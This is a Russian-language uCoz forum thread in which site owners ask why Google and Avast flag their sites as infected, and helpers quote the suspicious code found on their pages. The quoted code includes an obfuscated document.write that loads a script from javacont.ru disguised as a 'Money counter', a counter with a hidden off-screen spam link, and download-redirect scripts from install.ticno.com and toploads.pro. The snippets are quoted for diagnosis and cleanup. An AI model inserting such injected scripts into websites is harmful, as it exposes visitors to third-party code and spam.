Чат сообщества
   | |
| Модератор форума: Yuri_G |
| Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах_2 (для изучения) |
| Вирусы на сайтах_2 |
|
Товарищи помогите! Вот сайт Nokia! google пишет что сайт заражен:
Возможный внедренный код: Code <script type="text/javascript"><!-- document.write('<sc' + 'ript language="JavaScript" rel="nofo llow" ' + 'src="http://javacont.ru/7778/counter.jpg" title="Money coun ter" border="0" width="88" height="31"></sc' + 'ript>'); //--></script> Где заражено: http://nokia-allworld.ucoz.ru/photo/ http://nokia-allworld.ucoz.ru/load После долгих поисков данного вредного кода, так ничего и не нашел. |
|
topaz2, в 12 блоке есть следы трафбиза. вот они
Quote <script type="text/javascript">document.write('<a href="//www.ucoz.ru/main/?a=ustat;u=nokia-allworld;d=0;il=ru" target="_blank" title="uCoz Counter"><img alt="" style="margin:0;padding:0;border:0;" src="http://nokia-allworld.ucoz.ru/stat/'+Math.random()+'?01'+escape(document.referrer)+'" height="31" width="31" /></a>');</script><noscript><a href="//www.ucoz.ru/main/?a=ustat;u=nokia-allworld;d=0;il=ru" target="_blank" title="uCoz Counter"><img alt="" style="margin:0;padding:0;border:0;" src="http://nokia-allworld.ucoz.ru/stat/1329654661" height="31" width="31" /></a></noscript><!--Money counter--><script type="text/javascript"><!-- document.write('<sc' + 'ript language="JavaScript" rel="nofollow" ' + 'src="http://javacont.ru/7778/counter.jpg" title="Money counter" border="0" width="88" height="31"></sc' + 'ript>'); //--></script><!--/Money counter--><!-- ws.md v.7.13 --> |
|
webanet, Спасибо, теперь, как я понял, мне нужно запросить проверку сайта в гугле?
|
|
topaz2, да вам нужно запросить перепроверку. и ещё
Quote <!-- Top YandeG for: 'nokia-allworld.ucoz.ru' id: '222188' --> <a href="http://yandeg.ru/" target="_blank" title="Рейтинг сайтов YandeG" style="text-decoration:none; font-size: 8px;"> <script type="text/javascript"> <!-- document.write('<img '+ 'src="http://count.yandeg.ru/cnt.php?id=222188&img=7&h='+escape(document.URL)+ '&ref='+escape(document.referrer)+((typeof(screen)=='undefined')?'': '&s='+screen.width+'*'+screen.height+ '*'+(screen.colorDepth?screen.colorDepth:screen.pixelDepth))+ '&rand='+Math.random()+ '" width="88" height="31" border="0"'+ ' alt="Рейтинг Сайтов YandeG" />') //--></script></a><div style="position:absolute;left:-3208px;"><a href="http://lo8s.com/">Domain Analysis</a></div><!-- /Top YandeG --> удалите этот грязный счетчик от яндега. зачем вам подгружать спам оттуда. и удалите все свои ссылки на бесплатные раскрутки. вы понаставили ссылок и их баннеров у себя, и это не раскрутка вашего ресурса точно. скорее накрутка, но раскрутка ваших раскрутчиков |
|
Здравствуйте.Обращаюсь к Вам уже не первый раз, разобрался с Nod 32 после обновления базы Avast стал ругаться на сайт когда в каталоге файлов заходишь в полную новость.androidtracker.ru
|
|
SOUND-PORTAL, а можете указать конкретно страницу где пищит Аваст. У меня Аваст, зашел к Вам на сайт, побродил по сайту, он молчит!
Добавлено (19-Фев-2012, 16:59:21) --------------------------------------------- Хотя, нет вру, матерится Аваст! Сообщение отредактировал bandjuk - Воскресенье, 19 Фев 2012, 17:00:56
|
|
bandjuk, я указал на страницу "Материала и комментариев" каталога файлов.
|
|
SOUND-PORTAL, что именно пишет ваш антивирус при детекте? и как это происходит. под логином или под гостем?
ругаться может на это Code <script language="JavaScript" src="http://install.ticno.com/temp/test_base64.js" type="text/javascript"></script> и зачем вы на сайте подгружаете гугловскую библиотеку? плюс зачем вам авторизация через с соцсети с редиректом через чужой ресурс? |
|
webanet, Про скрипт авторизации через соц сети я сомневаюсь так-как он установлен и на главной страницы сайта.А на главную не ругается.
А можно код гугловской библиотеки? Вот что пишет аваст.  Прикрепления:
3934218.jpg
(56.8 Kb)
|
|
bandjuk, у вас на какой странице матерится аваст и что пишет при этом?
SOUND-PORTAL, это может быть реакция и на рекламу и на ваше install.ticno а библиотека от гугла принадлежит рекламе от тинко Code <script language="JavaScript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6/jquery.min.js" type="text/javascript"></script> сделайте эксперимент. удалите из кода скрипт который я указала и попробуйте проверить страницу снова |
|
webanet, Я убирал код у меня все= ругался Аваст.Попробовал убрать даже весь код и ничего...
|
|
Сообщение отредактировал bandjuk - Воскресенье, 19 Фев 2012, 17:35:19
|
|
SOUND-PORTAL, вот это попробуйте убрать
Code <noindex> <script language="JavaScript" type="text/javascript"> var rid = '32'; var url = 'http://androidtracker.ru/load/0-0-0-662-20'; document.write('<a rel="nofollow" style="color: green;" target="_blank" href="http://toploads.pro/install.php?rid=' + rid + '&url=' + Base64.encode(url) + '"><img src="/images/androidtracker.png" alt="скачать программу бесплатно" title="" style="border: 0pt none;"><!--</s>--></a>'); </script> </noindex> |
|
webanet, Вот ошибка, точнее угроза!
Прикрепления:
6157180.jpg
(113.8 Kb)
Сообщение отредактировал bandjuk - Воскресенье, 19 Фев 2012, 17:45:10
|
| |||
Будьте в курсе всех обновлений: подпишитесь на наш официальный Telegram-канал uCoz и задавайте вопросы в чате сообщества!